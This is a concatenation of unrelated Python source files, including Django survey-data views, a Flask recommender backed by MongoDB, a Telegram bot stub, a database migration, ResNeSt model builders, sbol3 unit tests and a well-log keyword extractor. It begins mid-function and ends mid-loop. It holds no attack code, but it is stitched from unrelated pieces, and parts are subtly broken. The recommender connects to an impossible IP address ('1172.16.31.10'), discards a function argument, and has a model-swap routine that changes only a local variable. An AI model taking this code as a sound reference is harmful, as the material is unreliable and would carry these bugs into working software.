error_type == 'ValidationError' or error_type == 'ValueError': error_type = 'Invalid data formatting' error_text = error_text.replace('%d/%m/%Y', 'DD/MM/YYYY') elif error_type == 'DataError': error_type = 'Invalid data value' try: row = i + 2 except NameError: error_message = '{}: {}'.format(error_type, error_text) else: error_message = '{} (row {} of {} sheet): {}'.format(error_type, row, sheet_context, error_text) success_message = '' if error_message else 'Bulk upload successful!' return render(request, self.template, {'trip_pk': trip_id, 'file_name': file.name, 'error_message': error_message, 'success_message': success_message}) # Handle set post/get operations class SetListView(UserAllowedMixin, View): """ Set list view found at /trips//sets/ """ template = 'pages/sets/set_list.html' def _common_context(self, request, parent_trip): """ Helper method returns page context common to multiple requests :param request: :param parent_trip: :return: """ page = request.GET.get('page', 1) paginator = Paginator(self._get_filtered_sets(parent_trip), 50) try: sets = paginator.page(page) except PageNotAnInteger: sets = paginator.page(1) except EmptyPage: sets = paginator.page(paginator.num_pages) return { 'request': request, 'trip_pk': parent_trip.pk, 'trip_name': str(parent_trip), 'sets': sets, 'search_form': SetSearchForm(self.request.GET or None, trip_id=parent_trip.pk), 'bulk_form': SetBulkUploadForm(trip_id=parent_trip.pk) } def _get_filtered_sets(self, parent_trip): """ Helper method returns sets that match filter :param parent_trip: :return: """ result = Set.objects prefetch = [ 'trip', 'drop_measure', 'haul_measure', 'video', 'user', 'bait', 'equipment', 'reef_habitat', ] search_terms = {} form = SetSearchForm(self.request.GET) if self.request.GET and form.is_valid(): search_values = form.cleaned_data search_terms = dict((key, val) for (key, val) in search_values.items() if key in ['equipment', 'bait'] and val is not None) if search_values['search_set_date']: search_terms['set_date'] = search_values['search_set_date'] if search_values['reef']: search_terms['reef_habitat__reef'] = search_values['reef'] if search_values['habitat']: search_terms['reef_habitat__habitat'] = search_values['habitat'] if search_values['code']: result = result.filter(code__contains=search_values['code']) search_terms['trip'] = parent_trip result = result.filter(**search_terms).prefetch_related(*prefetch).order_by('code') return result def _get_set_form_defaults(self, parent_trip): """ Helper method returns :param parent_trip: :return: """ set_form_defaults = { 'trip': parent_trip, 'set_date': parent_trip.start_date, 'equipment': Equipment.objects.all().first(), } last_set = parent_trip.set_set.last() if last_set is not None: set_form_defaults.update({ 'reef_habitat': last_set.reef_habitat, 'reef': last_set.reef_habitat.reef, 'habitat': last_set.reef_habitat.habitat, 'latitude': last_set.latitude, 'longitude': last_set.longitude, 'set_date': last_set.set_date, 'drop_time': last_set.drop_time, 'haul_date': last_set.haul_date, 'haul_time': last_set.haul_time, 'equipment': last_set.equipment, 'bait': last_set.bait }) return set_form_defaults def _upload_image(self, file, filename): """ Helper method uploads image to S3 :param file: :param filename: :return: """ try: conn = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY) bucket = conn.get_bucket(settings.HABITAT_IMAGE_BUCKET, validate=False) key = bucket.get_key(filename) if not key: key = bucket.new_key(filename) key.set_contents_from_string(file.read(), headers={'Content-Type': 'image/png'}) key.set_acl('public-read') return True, None except BotoException.S3ResponseError as e: return False, e def _process_habitat_images(self, set, request): """ Helper method processes habitat images :param set: :param request: :return: """ if request.FILES.get('bruv_image_file', False): filename = set.habitat_filename('bruv') success, error = self._upload_image(request.FILES['bruv_image_file'], filename) if success: set.bruv_image_url = filename set.save() else: messages.warning(request, 'Error uploading BRUV image: {}'.format(str(error))) if request.FILES.get('splendor_image_file', False): filename = set.habitat_filename('splendor') success, error = self._upload_image(request.FILES['splendor_image_file'], filename) if success: set.splendor_image_url = filename set.save() else: messages.warning(request, 'Error uploading Habitat image: {}'.format(str(error))) def _process_habitat_substrate(self, set, request): """ Helper method saves habitat substrate data :param set: :param request: :return: """ with transaction.atomic(): set.benthic_category.clear() for (s_id, val) in zip(request.POST.getlist('benthic-category'), request.POST.getlist('percent')): bcv = BenthicCategoryValue(set=set, benthic_category_id=s_id, value=val) bcv.save() def _process_custom_fields(self, set, request): """ Helper method saves custom fields data :param set: :param request: :return: """ with transaction.atomic(): lst = [] for (name, val) in zip(request.POST.getlist('jsonColumnName'), request.POST.getlist('jsonColumnValue')): jsonItem = {} jsonItem[name] = val lst.append(jsonItem) set.custom_field_value = json.dumps(lst) set.save() def get(self, request, **kwargs): """ Main method to return template :param request: :param kwargs: :return: """ trip_pk, set_pk = kwargs.get('trip_pk', None), kwargs.get('set_pk', None) parent_trip = get_object_or_404(Trip, pk=trip_pk) context = self._common_context(request, parent_trip) # edit set form if set_pk: edited_set = get_object_or_404(Set, pk=set_pk) context['set_pk'] = set_pk context['set_name'] = str(edited_set) context['set_form'] = SetForm( instance=edited_set, trip_pk=trip_pk ) context['set_form'].initial['reef'] = edited_set.reef_habitat.reef context['set_form'].initial['habitat'] = edited_set.reef_habitat.habitat context['drop_form'] = EnvironmentMeasureForm( instance=edited_set.drop_measure, prefix='drop' ) context['haul_form'] = EnvironmentMeasureForm( instance=edited_set.haul_measure, prefix='haul' ) context['video_form'] = VideoForm( instance=edited_set.video ) context['set_level_data_form'] = SetLevelDataForm( instance=edited_set ) context['set_level_comments_form'] = SetLevelCommentsForm( instance=edited_set ) context['set_custom_fields_form'] = SetCustomFieldsForm( instance=edited_set ) # new set form else: context['set_form'] = SetForm( None, initial=self._get_set_form_defaults(parent_trip), trip_pk=trip_pk ) context['drop_form'] = EnvironmentMeasureForm(None, prefix='drop') context['haul_form'] = EnvironmentMeasureForm(None, prefix='haul') context['video_form'] = VideoForm() context['set_level_data_form'] = SetLevelDataForm() context['set_level_comments_form'] = SetLevelCommentsForm() context['set_custom_fields_form'] = SetCustomFieldsForm() return render(request, self.template, context=context) def post(self, request, **kwargs): """ Main method to process form submissions :param request: :param kwargs: :return: """ trip_pk, set_pk = kwargs.get('trip_pk', None), kwargs.get('set_pk', None) parent_trip = get_object_or_404(Trip, pk=kwargs['trip_pk']) context = self._common_context(request, parent_trip) if set_pk is None: set_form = SetForm(request.POST, trip_pk=trip_pk) drop_form = EnvironmentMeasureForm(request.POST, prefix='drop') haul_form = EnvironmentMeasureForm(request.POST, prefix='haul') video_form = VideoForm(request.POST) set_level_data_form = SetLevelDataForm(request.POST, request.FILES) set_level_comments_form = SetLevelCommentsForm(request.POST) set_custom_fields_form = SetCustomFieldsForm(request.POST) else: edited_set = get_object_or_404(Set, pk=set_pk) set_form = SetForm(request.POST, trip_pk=trip_pk, instance=edited_set) drop_form = EnvironmentMeasureForm(request.POST, prefix='drop', instance=edited_set.drop_measure) haul_form = EnvironmentMeasureForm(request.POST, prefix='haul', instance=edited_set.haul_measure) video_form = VideoForm(request.POST, instance=edited_set.video) set_level_data_form = SetLevelDataForm(request.POST, request.FILES, instance=edited_set) set_level_comments_form = SetLevelCommentsForm(request.POST, instance=edited_set) set_custom_fields_form = SetCustomFieldsForm(request.POST, instance=edited_set) # forms are valid if all(form.is_valid() for form in [set_form, drop_form, haul_form, video_form, set_level_data_form, set_level_comments_form, set_custom_fields_form]): # get reef_habitat from reef + habitat # note: "create new set" uses the .instance, "edit existing set" is using the .cleaned_data # perhaps do something cleaner? set_form.instance.reef_habitat = set_form.cleaned_data['reef_habitat'] = ReefHabitat.get_or_create( reef=set_form.cleaned_data['reef'], habitat=set_form.cleaned_data['habitat']) current_set = None # create new set and env measures if set_pk is None: new_set = set_form.save() new_set.drop_measure = drop_form.save() new_set.haul_measure = haul_form.save() for k, v in set_level_data_form.cleaned_data.items(): if k not in ('bruv_image_file', 'splendor_image_file', 'benthic_category'): setattr(new_set, k, v) for k, v in set_level_comments_form.cleaned_data.items(): setattr(new_set, k, v) new_set.save() # update video video_form.save(new_set) # upload and save image urls self._process_habitat_images(new_set, request) # save habitat substrate values self._process_habitat_substrate(new_set, request) # save new custom fields self._process_custom_fields(new_set, request) messages.success(self.request, 'Set created') current_set = new_set # edit existing set and env measures else: for k, v in set_form.cleaned_data.items(): if k not in ('reef', 'habitat'): setattr(edited_set, k, v) # check for children that might be missing but have data in their forms: if not edited_set.drop_measure and \ any(x is not None for x in list(drop_form.cleaned_data.values())): # note: the dissolved_oxygen_measure shows up as a value and should probably be filtered out ... # otherwise measure is always created. edited_set.drop_measure = EnvironmentMeasure.objects.create() if not edited_set.haul_measure and \ any(x is not None for x in list(haul_form.cleaned_data.values())): # note: again, the dissolved_oxygen_measure shows up as a value and should probably be filtered out? edited_set.haul_measure = EnvironmentMeasure.objects.create() # guard against possibly missing drop_measure, haul_measure: if edited_set.drop_measure: for k, v in drop_form.cleaned_data.items(): setattr(edited_set.drop_measure, k, v) if edited_set.haul_measure: for k, v in haul_form.cleaned_data.items(): setattr(edited_set.haul_measure, k, v) for k, v in set_level_data_form.cleaned_data.items(): if k not in ('bruv_image_file', 'splendor_image_file', 'benthic_category'): setattr(edited_set, k, v) for k, v in set_level_comments_form.cleaned_data.items(): setattr(edited_set, k, v) edited_set.save() if edited_set.bait: edited_set.bait.save() if edited_set.drop_measure: edited_set.drop_measure.save() if edited_set.haul_measure: edited_set.haul_measure.save() # update video video_form.update(edited_set) # upload and save image urls self._process_habitat_images(edited_set, request) # save habitat substrate values self._process_habitat_substrate(edited_set, request) # save habitat substrate values self._process_custom_fields(edited_set, request) messages.success(self.request, 'Set updated') current_set = edited_set # determine action following save if 'save-and-next' in request.POST: next_set = edited_set.next_by_code if next_set: # edit next in order success_url = reverse_lazy('set_update', args=[trip_pk, next_set.id]) + '#set-form-parent' else: # exit to list success_url = reverse_lazy('trip_set_list', args=[trip_pk]) + '#' else: success_url = reverse_lazy('trip_set_list', args=[trip_pk]) if 'save-and-add' in request.POST: # add a new set success_url += '#set-form-parent' elif current_set and 'save-and-remain' in request.POST: # stay here success_url = reverse_lazy('set_update', args=[trip_pk, current_set.id]) + '#set-form-parent' else: # exit to list success_url += '#' return HttpResponseRedirect(success_url) # one or more forms have errors else: context['form_errors'] = True if set_pk: context['set_pk'] = set_pk context['set_name'] = str(get_object_or_404(Set, pk=set_pk)) context['set_form'] = set_form context['drop_form'] = drop_form context['haul_form'] = haul_form context['video_form'] = video_form context['set_level_data_form'] = set_level_data_form context['set_level_comments_form'] = set_level_comments_form context['set_custom_fields_form'] = set_custom_fields_form messages.error(self.request, 'Form errors found') return render(request, self.template, context=context) 1-10 from rest_framework import serializers, viewsets from rest_framework.mixins import RetrieveModelMixin from metarecord.models import Record from metarecord.views.base import StructuralElementSerializer class RecordSerializer(StructuralElementSerializer): modified_by = serializers.SerializerMethodField() class Meta(StructuralElementSerializer.Meta): model = Record def get_modified_by(self, obj): return obj._modified_by or None class RecordViewSet(RetrieveModelMixin, viewsets.GenericViewSet): serializer_class = RecordSerializer queryset = Record.objects.all() lookup_field = 'uuid' import sys sys.path.append('..') from airnetSNL.dataset.dataset_utils import sampleSinograms from glob import glob from imageio import imread import numpy as np import os import sys import torch from tqdm import tqdm from typing import List def saveMultipleExperiments(projDirs: List[str], trainSinoFile: str, testSinoFile: str): """Load projections, and save them in train and test sets. Uses the top half of each projection for training and the bottom half for testing. Args: * projDirs (List[str]): Directories with tif projections. * trainSinoFile (str): Filename to save train projections. * testSinoFile (str): Filename to save test projections. Returns: Saves projections in two files for training and testing. """ for p, projDir in enumerate(projDirs): sinograms = loadSinograms(projDir) nRows = sinograms.shape[0] trainBatch = sampleSinograms(sinograms, [0, nRows // 2]) testBatch = sampleSinograms(sinograms, [nRows // 2, nRows]) if p == 0: trainSinograms = trainBatch testSinograms = testBatch else: trainSinograms = torch.cat((trainSinograms, trainBatch), dim=0) testSinograms = torch.cat((testSinograms, testBatch), dim=0) torch.save(trainSinograms.cpu(), trainSinoFile) torch.save(testSinograms.cpu(), testSinoFile) def loadSinograms(projDir: str) -> torch.tensor: """Return array of 2D sinograms from row-by-row projections Args: projDir: Directory with .tif files Returns: * sinograms (tensor): (batchSize = nRows) x (nChannels = 1) x nAngles x nColumns Notes: For absorption and dark field, take the neg-log of each projection. For differential or integrated phase, negate each projection to make most values positive. """ tifs = sorted(glob(os.path.join(projDir, '*.tif'))) tifs = tifs[:-1] # Exclude last angle (360 degrees). nAngles = len(tifs) projection = imread(tifs[0]) nRows = projection.shape[0] nCols = projection.shape[1] sinograms = torch.zeros((nRows, 1, nAngles, nCols)) with tqdm(total=nRows, file=sys.stdout) as pbar: for r in range(nRows): pbar.set_description('processed: %d' % (1 + r)) pbar.update(1) for a in range(nAngles): projection = imread(tifs[a]) if np.abs(np.max(projection)) > np.abs(np.min(projection)): # Absorption, dark field projection = -np.log(projection) else: # Differential/integrated phase case projection = -projection sinograms[r, 0, a, :] = torch.tensor(projection[r, :]) return sinograms 0 from .dash import * from flask import Flask, request, jsonify from tensorflow.keras.models import load_model from bson.objectid import ObjectId from sklearn import preprocessing import pandas as pd import pymongo import threading import train_deep_wide header_cate = [ "item_brand", "item_name", "user_gender", "store_city" ] header_cont=[ "item_price", "item_salecount", "item_score", "store_level", "item_timestamp", "store_timestamp" ] header_cont_user=[ "user_age", "user_historysum" ] basic_model = load_model("C://Users/Ryanw/go/src/github.com/somewhere/algo/src-go/deep_wide_model_new.h5") model = basic_model def get_enc(): myclient = pymongo.MongoClient("mongodb://127.0.0.1:27017/") mydb = myclient["kit"] rec_col = mydb["records"] item_col = mydb["items"] user_col = mydb["users"] store_col = mydb["stores"] records = rec_col.find({},{"_id":0, "query":0}) items = item_col.find() users = user_col.find() stores = store_col.find() # 将cursor转换成dataframe格式 df_rec = pd.DataFrame(list(records)) df_item = pd.DataFrame(list(items)) df_user = pd.DataFrame(list(users)) df_store = pd.DataFrame(list(stores)) # 按照user-id对record进行排序 df_rec = df_rec.sort_values(by="user_id", ascending=False) # 对列名进行重命名（将_id转换为具体的），并设置索引 df_item = df_item.rename(columns={'_id':'item_id'}) df_item.set_index(['item_id'],inplace=True) df_user = df_user.rename(columns={'_id':'user_id'}) df_user.set_index(['user_id'],inplace=True) df_store = df_store.rename(columns={'_id':'store_id','timestamp':'store_timestamp'}) df_store.set_index(['store_id'],inplace=True) # 根据item_id链接record和item df_result = df_rec.set_index(['item_id']) df_result = pd.concat([df_result, df_item], axis = 1, join='inner') df_result = df_result.reset_index() # 根据user_id链接record和user df_result.set_index(['user_id'],inplace=True) df_result = pd.concat([df_result, df_user], axis = 1, join='inner') df_result = df_result.reset_index() # 根据store_id链接record和store df_result.set_index(['store_id'],inplace=True) df_result = pd.concat([df_result, df_store], axis = 1, join='inner') df_result = df_result.reset_index() # 对数据按列进行分类，不同的列采用不同的处理方法 df_cate = df_result[header_cate] # 对cate类型进行独热编码 enc = preprocessing.OneHotEncoder(handle_unknown='ignore') enc.fit(df_cate) return enc enc = get_enc() def get_data(user_id): # 链接数据库 myclient = pymongo.MongoClient("mongodb://127.0.0.1:27017/") mydb = myclient["kit"] item_col = mydb["items"] user_col = mydb["users"] store_col = mydb["stores"] # 扫数据 items = item_col.find() users = user_col.find({"_id":ObjectId(user_id)}) stores = store_col.find() # 转换成dataframe，并重命名列名 df_item = pd.DataFrame(list(items)) df_item = df_item.rename(columns={'_id':'item_id'}) df_user = pd.DataFrame(list(users)) df_user = df_user.rename(columns={'_id':'user_id'}) # print(df_user) df_store = pd.DataFrame(list(stores)) df_store = df_store.rename(columns={'_id':'store_id','timestamp':'store_timestamp'}) df_store.set_index(['store_id'],inplace=True) # 组合user和item df_result = df_item df_user_col_name = df_user.columns.values.tolist() for col_name in df_user_col_name: fulfil = [] for i in range(df_result.shape[0]): fulfil.append(df_user[col_name].values[0]) df_result[col_name] = fulfil # 组合store信息 df_result.set_index(['store_id'],inplace=True) df_result = pd.concat([df_result, df_store], axis = 1, join='inner') df_result = df_result.reset_index() # print(df_result) df_cont = df_result[header_cont] df_cont_user = df_result[header_cont_user] df_cate = df_result[header_cate] scaler = preprocessing.MinMaxScaler(feature_range=(0, 1)) scaled = scaler.fit_transform(df_cont) df_cont = pd.DataFrame(scaled) # enc = get_enc() arr = enc.transform(df_cate).toarray() df_cate = pd.DataFrame(arr) # df_cate = pd.get_dummies(df_cate) # print(df_cate) # frame = [df_cont, df_cont_user, df_cate] frame = [df_cont,df_cont_user,df_cate] X = pd.concat(frame, axis=1) return X, df_item def change_model(app): # 等待所有的rec请求都不使用旧模型 app.using_old_model.acquire() app.using_old_model.wait() # 更换模型 model = app.model print("模型已更换") # 重置更新状态为False app.model_lock.acquire() app.exist_new_model = False app.model_lock.release() app.using_old_model.release() # 重置训练模型状态为False，可以进行下一次训练 app.lock.acquire() app.is_training = False app.lock.release() def getItemCFMatrix(): myclient = pymongo.MongoClient("mongodb://127.0.0.1:27017/") mydb = myclient["kit"] item_col = mydb["items"] rec_col = mydb["records"] items = item_col.find() df_item = pd.DataFrame(list(items)) df_item = df_item.rename(columns={'_id': 'item_id'}) IDtoNum = {} IDtoMap = {} for idx, item in df_item.iterrows(): for idxx, itemi in df_item.iterrows(): IDtoNum[itemi['item_id']] = 0 IDtoMap[item['item_id']] = IDtoNum IDtoNum = {} # print(IDtoMap) records = rec_col.find() df_rec = pd.DataFrame(list(records)) # print(df_rec) df_rec.set_index(['user_id'], inplace=True) df_rec = df_rec.sort_index() df_rec = df_rec.reset_index() user_id = "" item_list = [] for idx, item in df_rec.iterrows(): if user_id == "": user_id = item['user_id'] item_list = [] elif user_id != item['user_id']: user_id = item['user_id'] for itemi in item_list: for itemj in item_list: IDtoMap[itemi][itemj] = IDtoMap[itemi][itemj] + 1 IDtoMap[itemj][itemi] = IDtoMap[itemj][itemi] + 1 item_list = [] if item['is_trade'] == 1: item_list.append(item['item_id']) for itemi in item_list: for itemj in item_list: IDtoMap[itemi][itemj] = IDtoMap[itemi][itemj] + 1 IDtoMap[itemj][itemi] = IDtoMap[itemj][itemi] + 1 return IDtoMap def getUserScore(user_id, m): m = getItemCFMatrix() myclient = pymongo.MongoClient("mongodb://1172.16.31.10:27017/") mydb = myclient["kit"] rec_col = mydb["records"] item_col = mydb["items"] records = rec_col.find({"user_id": ObjectId(user_id)}) df_rec = pd.DataFrame(list(records)) items = item_col.find() df_item = pd.DataFrame(list(items)) idToFreq = {} idToScore = {} total = 0 for _, item in df_item.iterrows(): idToFreq[item['_id']] = 0 idToScore[item['_id']] = 0 for _, item in df_rec.iterrows(): if item['is_trade'] == 1: idToFreq[item['item_id']] = idToFreq[item['item_id']] + 1 total = total + 1 for k in idToFreq.keys(): if total != 0: idToFreq[k] = idToFreq[k]/total for k in idToScore.keys(): for kk in idToFreq.keys(): idToScore[k] = idToScore[k] + idToFreq[kk] * m[kk][k] # print(idToFreq) # print(idToScore) total = 0 ans = {} for k in idToScore.keys(): total = total + idToScore[k] for k in idToScore.keys(): if total!=0: ans[k.__str__()] = idToScore[k]/total else: ans[k.__str__()] = idToScore[k] return ans app = Flask(__name__) app.lock = threading.Lock() app.model_lock = threading.Lock() app.is_training = False app.using_old_model = threading.Condition() app.using_model_num = 0 app.exist_new_model = False app.model = model app.matrix = getItemCFMatrix() @app.route('/test', methods=['GET','POST']) def index(): if request.method == 'GET': # 用于获得目前是否有模型等待进行更新 app.model_lock.acquire() num = app.using_model_num status = app.exist_new_model app.model_lock.release() if status: return jsonify({"code":3,"status":"new model waiting to refresh","num":num}) else: return jsonify({"code":2,"status":"no new model"}) else: data = request.get_json() user_id = data["user_id"] X, df_item=get_data(user_id) total = [] app.model_lock.acquire() # 存在新模型等待更新，用basic模型进行预测，并在using=0时释放信号 if app.exist_new_model: if app.using_model_num == 0: app.using_old_model.acquire() app.using_old_model.notify() app.using_old_model.release() app.model_lock.release() predicted = basic_model.predict([X, X]) # 不存在新模型等待更新，用model直接预测，并对usingnum进行操作 else: app.using_model_num = app.using_model_num + 1 app.model_lock.release() predicted = model.predict([X, X]) app.model_lock.acquire() app.using_model_num = app.using_model_num - 1 app.model_lock.release() i = 0 CFscore = getUserScore(user_id, app.matrix) print(CFscore) for _, row in df_item.iterrows(): ans = {} ans['item_id'] = str(row['item_id']) ans['score']=float(predicted[i][0]) + CFscore[str(row['item_id'])] total.append(ans) i+=1 return jsonify({"msg":total}) @app.route('/status', methods=['GET']) def index2(): # 用于获得目前是否有模型正在进行训练 app.lock.acquire() status = app.is_training app.lock.release() if status: return jsonify({"code":1, "status":"training"}) else: return jsonify({"code":0,"status":"serving"}) @app.route('/train', methods=['POST']) def index3(): # 进入训练，先看是否有正在训练的模型 app.lock.acquire() # 若存在正在训练的模型，直接resp返回1531 if app.is_training: app.lock.release() return jsonify({"err_code":1503, "err_msg":"Another model is training."}) # 否则将训练状态置成True else: app.is_training = True app.lock.release() # 然后进行训练，启动两个线程 try: # t1负责将新模型放入app.model中 t1 = threading.Thread(target=train_deep_wide.build_serve, args=("./deep_wide.h5",app,)) t1.start() # t2负责更新新模型 t2 = threading.Thread(target=change_model, args=(app,)) t2.start() except: # 特殊情况是线程不能启动，报错1003 return jsonify({"err_code":1003, "err_msg":"Something wrong."}) # 正常返回0 return jsonify({"err_code":0, "err_msg":"OK, training."}) if __name__ == '__main__': app.debug=True app.run()ali-mmagneto/ShipBot # Aiogram imports from aiogram import Bot, Dispatcher, executor # Import ShipBot module import ShipBot from config import API_TOKEN # Initialize ShipBot and dispatcher bot = Bot(token=API_TOKEN) dp = Dispatcher(bot) # Initialize handlers ShipBot.setup(dp) # Run executor if __name__ == '__main__': executor.start_polling(dp, skip_updates=True, on_shutdown=ShipBot.on_shutdown) hobson/ggpy #!/usr/bin/env python """ generated source for module GamerAbortedMatchEvent """ # package: org.ggp.base.player.gamer.event import org.ggp.base.util.observer.Event class GamerAbortedMatchEvent(Event): """ generated source for class GamerAbortedMatchEvent """ arkarkark/snippy # Copyright 2009 (wtwf.com) All rights reserved. """Snippy a short url app engine thing (and more!).""" __author__ = 'wtwf.com ()' # If you want to check this with pychecker on osx you can do this... # export PYTHONPATH=/usr/local/google_appengine/:/usr/local/google_appengine/lib/yaml/lib/:$PYTHONPATH from google.appengine.ext import webapp import add import import_snips import lookup import model import redirectproxy import snippy_config_handler import suggest import user from lib.crud import crud_handler app = webapp.WSGIApplication([ ('/admin/api/snippyconfig.*', snippy_config_handler.SnippyConfigHandler), ('/admin/api/snip.*', crud_handler.GetCrudHandler(model.Snippy)), ('/admin/api/import', import_snips.ImportHandler), ('/admin/api/user', user.UserHandler), ('/admin/add/(.*)', add.AddHandler), ('/admin/suggestxml', suggest.SuggestXmlHandler), ('/admin/suggest.*', suggest.SuggestHandler), ('/r/(.*)', redirectproxy.RedirectProxyHandler), ('/((.|\n)*)', lookup.SnippyHandler), ]) """ LeetCode Problem: 108. Convert Sorted Array to Binary Search Tree Link: https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/ Language: Python Written by: Time Complexity: O(N) Space Complexity: O(N) """ class Solution: def sortedArrayToBST(self, nums: List[int]) -> TreeNode: def helper(left, right): if left > right: return None # always choose left middle node as a root p = (left + right) // 2 # preorder traversal: node -> left -> right root = TreeNode(nums[p]) root.left = helper(left, p - 1) root.right = helper(p + 1, right) return root return helper(0, len(nums) - 1)1-10 """books table Revision ID: 941035b5155d Revises: 55d9cf8d35d2 Create Date: 2020-05-26 20:38:40.592532 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '941035b5155d' down_revision = '55d9cf8d35d2' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('books', sa.Column('id', sa.Integer(), nullable=False), sa.Column('title', sa.String(length=50), nullable=False), sa.Column('isbn', sa.BigInteger(), nullable=False), sa.Column('number_of_pages', sa.Integer(), nullable=False), sa.Column('description', sa.Text(), nullable=True), sa.Column('author_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['author_id'], ['authors.id'], ), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('isbn') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('books') # ### end Alembic commands ### ##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ## Created by: ## Email: ## Copyright (c) 2020 ## ## LICENSE file in the root directory of this source tree ##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ """ResNeSt models""" import torch from .resnet import ResNet, Bottleneck __all__ = ['resnest50', 'resnest101', 'resnest200', 'resnest269'] _url_format = 'https://hangzh.s3.amazonaws.com/encoding/models/{}-{}.pth' _model_sha256 = {name: checksum for checksum, name in [ ('528c19ca', 'resnest50'), ('22405ba7', 'resnest101'), ('75117900', 'resnest200'), ('0cc87c48', 'resnest269'), ]} def short_hash(name): if name not in _model_sha256: raise ValueError('Pretrained model for {name} is not available.'.format(name=name)) return _model_sha256[name][:8] resnest_model_urls = {name: _url_format.format(name, short_hash(name)) for name in _model_sha256.keys() } def resnest50(pretrained=False, root='~/.encoding/models', **kwargs): model = ResNet(Bottleneck, [3, 4, 6, 3], radix=2, groups=1, bottleneck_width=64, deep_stem=True, stem_width=32, avg_down=True, avd=True, avd_first=False, **kwargs) if pretrained: model.load_state_dict(torch.hub.load_state_dict_from_url( resnest_model_urls['resnest50'], progress=True, check_hash=True)) return model def resnest101(pretrained=False, root='~/.encoding/models', **kwargs): model = ResNet(Bottleneck, [3, 4, 23, 3], radix=2, groups=1, bottleneck_width=64, deep_stem=True, stem_width=64, avg_down=True, avd=True, avd_first=False, **kwargs) if pretrained: model.load_state_dict(torch.hub.load_state_dict_from_url( resnest_model_urls['resnest101'], progress=True)) return model def resnest200(pretrained=False, root='~/.encoding/models', **kwargs): model = ResNet(Bottleneck, [3, 24, 36, 3], radix=2, groups=1, bottleneck_width=64, deep_stem=True, stem_width=64, avg_down=True, avd=True, avd_first=False, **kwargs) if pretrained: model.load_state_dict(torch.hub.load_state_dict_from_url( resnest_model_urls['resnest200'], progress=True)) return model def resnest269(pretrained=False, root='~/.encoding/models', **kwargs): model = ResNet(Bottleneck, [3, 30, 48, 8], radix=2, groups=1, bottleneck_width=64, deep_stem=True, stem_width=64, avg_down=True, avd=True, avd_first=False, **kwargs) if pretrained: model.load_state_dict(torch.hub.load_state_dict_from_url( resnest_model_urls['resnest269'], progress=True, check_hash=True)) return model import unittest import sbol3 class TestSequence(unittest.TestCase): def setUp(self) -> None: sbol3.set_defaults() def tearDown(self) -> None: sbol3.set_defaults() def test_create(self): sbol3.set_namespace('https://github.com/synbiodex/pysbol3') display_id = 'seq1' seq = sbol3.Sequence(display_id) self.assertIsNotNone(seq) self.assertEqual(display_id, seq.display_id) self.assertIsNone(seq.elements) self.assertIsNone(seq.encoding) def test_invalid(self): sbol3.set_namespace('https://github.com/synbiodex/pysbol3') display_id = 'seq1' seq = sbol3.Sequence(display_id) self.assertIsNotNone(seq) seq.elements = 'actg' report = seq.validate() self.assertIsNotNone(report) self.assertEqual(1, len(report.errors)) def test_valid(self): sbol3.set_namespace('https://github.com/synbiodex/pysbol3') display_id = 'seq1' seq = sbol3.Sequence(display_id) self.assertIsNotNone(seq) seq.elements = 'actg' seq.encoding = sbol3.IUPAC_DNA_ENCODING # Should not raise a ValidationError report = seq.validate() self.assertEqual(0, len(report)) def test_full_constructor(self): identity = 'https://github.com/synbiodex/pysbol3/s1' elements = 'GCAT' encoding = sbol3.IUPAC_DNA_ENCODING attachments = ['https://github.com/synbiodex/pysbol3/attachment1'] name = None description = None derived_from = ['https://github.com/synbiodex/pysbol3/parent1'] generated_by = ['https://github.com/synbiodex/pysbol3/tool1'] m1 = sbol3.Measure(value=2.3, unit='meter') measures = [m1] s1 = sbol3.Sequence(identity=identity, elements=elements, encoding=encoding, attachments=attachments, name=name, description=description, derived_from=derived_from, generated_by=generated_by, measures=measures) self.assertEqual(identity, s1.identity) self.assertEqual(elements, s1.elements) self.assertEqual(encoding, s1.encoding) self.assertEqual(attachments, s1.attachments) self.assertEqual(name, s1.name) self.assertEqual(description, s1.description) self.assertEqual(derived_from, s1.derived_from) self.assertEqual(generated_by, s1.generated_by) self.assertEqual(measures, s1.measures) def test_invalid_encoding(self): sbol3.set_namespace('https://github.com/synbiodex/pysbol3') display_id = 'seq1' seq = sbol3.Sequence(display_id) self.assertIsNotNone(seq) seq.elements = 'actg' # This is an encoding from SBOL 3.0. It is no longer # valid as of 3.0.1/3.1. seq.encoding = 'http://sbols.org/v3#iupacNucleicAcid' # We expect 1 warning for the encoding that is not in the # recommended set. report = seq.validate() self.assertEqual(1, len(report)) self.assertEqual(1, len(report.warnings)) def test_initial_value(self): # See https://github.com/SynBioDex/pySBOL3/issues/208 identity = 'https://github.com/synbiodex/pysbol3/s1' elements = '' # encoding = sbol3.IUPAC_DNA_ENCODING s1 = sbol3.Sequence(identity=identity, elements=elements) self.assertEqual(identity, s1.identity) self.assertEqual(elements, s1.elements) # self.assertEqual(encoding, s1.encoding) if __name__ == '__main__': unittest.main() dianaceroallard/alaska """ contains the keyword tree extractor and alias class """ import os.path import gzip import pandas as pd import seaborn as sns import lasio # alaska imports from .predict_from_model import make_prediction from .get_data_path import get_data_path sns.set() class Node: """ Node class for use in the keyword tree extractor """ def __init__(self, key): self.key = key self.child = [] def make_tree(): """ :param: None :return: m-ary tree of keywords that forms keyword extractor tree Generates keyword extractor tree """ original_lowered_csv = get_data_path("original_lowered.csv") root = Node(None) df = ( pd.read_csv(original_lowered_csv) .drop("Unnamed: 0", 1) .reset_index(drop=True) ) arr = df.label.unique() cali_arr = ["calibration", "diameter", "radius"] time_arr = ["time", "delta-t", "dt", "delta"] gr_arr = ["gamma", "ray", "gr", "gamma-ray"] sp_arr = ["sp", "spontaneous", "potential"] d_arr = ["correction", "porosity"] p_arr = ["density", "neutron", "sonic"] p2_arr = ["dolomite", "limestone"] r_arr = ["deep", "shallow", "medium"] sr_arr = ["a10", "a20", "ae10", "ae20", "10in", "20in"] mr_arr = ["a30", "ae30", "30in"] dr_arr = ["a60", "a90", "ae60", "ae90", "60in", "90in"] j = 0 for i in arr: root.child.append(Node(i)) 